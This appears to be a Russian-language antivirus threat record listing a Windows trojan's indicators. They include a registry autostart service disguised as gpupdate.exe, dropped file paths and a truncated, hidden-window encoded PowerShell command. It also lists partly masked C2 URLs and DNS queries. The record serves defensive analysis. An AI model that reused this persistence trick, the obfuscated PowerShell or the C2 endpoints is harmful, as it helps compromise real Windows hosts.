Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\gpupdate] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\gpupdate] 'ImagePath' = '"%WINDIR%\SysWOW64\xactengine2_7\gpupdate.exe"'
- 'gpupdate' "%WINDIR%\SysWOW64\xactengine2_7\gpupdate.exe"
- 'gpupdate' %WINDIR%\SysWOW64\xactengine2_7\gpupdate.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IABTAEUAdAAtAFYAYQByAGkAQQBCAEwAZQAgACAAbgBhAGkAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADQAfQAiAC0AZgAgACcAUwBZAFMAJwAsACcAVAAnACwAJwBFAG0ALg...
- %HOMEPATH%\xgy78ou\fho0ky5\lggewykc.exe
- %WINDIR%\syswow64\xactengine2_7\gpupdate.exe
- %HOMEPATH%\xgy78ou\fho0ky5\lggewykc.exe в %WINDIR%\syswow64\xactengine2_7\gpupdate.exe
- '78.##6.229.130':80
- http://hu##.xyz/message/u/
- http://78.##6.229.130/s4XncH/Znl52BFo2ryTqO3/EQUXooD7h/
- DNS ASK us##net.com
- DNS ASK hu##.xyz
- '%HOMEPATH%\xgy78ou\fho0ky5\lggewykc.exe'
- '%WINDIR%\syswow64\xactengine2_7\gpupdate.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IABTAEUAdAAtAFYAYQByAGkAQQBCAEwAZQAgACAAbgBhAGkAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADQAfQAiAC0AZgAgACcAUwBZAFMAJwAsACcAVAAnACwAJwBFAG0ALg...' (со скрытым окном)